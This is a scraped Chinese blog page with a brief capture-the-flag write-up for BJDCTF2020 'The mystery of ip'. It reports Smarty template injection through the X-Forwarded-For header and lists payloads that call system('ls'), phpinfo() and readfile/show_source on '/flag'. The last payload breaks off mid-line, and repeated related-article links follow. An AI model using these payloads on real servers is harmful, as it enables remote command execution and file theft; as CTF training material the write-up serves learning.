[BJDCTF2020]The mystery of ip
知識點 SSTI smarty 抓包，根據題目猜想X-Forwarded-For處可能有問題，測試了一下，存在模板注入 測試了一下，是smarty注入 smarty注入payload {if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system
相關文章
- 1. [BJDCTF2020]The mystery of ip
- 2. Spirits of Mystery Mac遊戲介紹
- 3. IP Addresses of Google Global Cache
- 4. TCP/IP Run Out of Memory
- 5. 2.1 to 2.4 Brief introduction of TCP/IP
- 6. [INS-06101] IP address of localhost could not be determined
- 7. Maxinum of connections from user+ip exceeded (mail_max_userip_connections=10)
- 8. enabling ip forwarding - installation and configuration of Quagga - configuring OSPF
- 9. Changing the IP Address of a Domain Controller
- 10. How to change IP address of your ESX Server
- 更多相關文章...
- • XSLT
- • XSLT
- • Tomcat學習筆記（史上最全tomcat學習筆記）
- • Docker容器實戰(八) - 漫談 Kubernetes 的本質
相關標籤/搜索
每日一句
-
每一个你不满意的现在，都有一个你没有努力的曾经。
歡迎關注本站公眾號,獲取更多信息
相關文章
- 1. [BJDCTF2020]The mystery of ip
- 2. Spirits of Mystery Mac遊戲介紹
- 3. IP Addresses of Google Global Cache
- 4. TCP/IP Run Out of Memory
- 5. 2.1 to 2.4 Brief introduction of TCP/IP
- 6. [INS-06101] IP address of localhost could not be determined
- 7. Maxinum of connections from user+ip exceeded (mail_max_userip_connections=10)
- 8. enabling ip forwarding - installation and configuration of Quagga - configuring OSPF
- 9. Changing the IP Address of a Domain Controller
- 10. How to change IP address of your ESX Server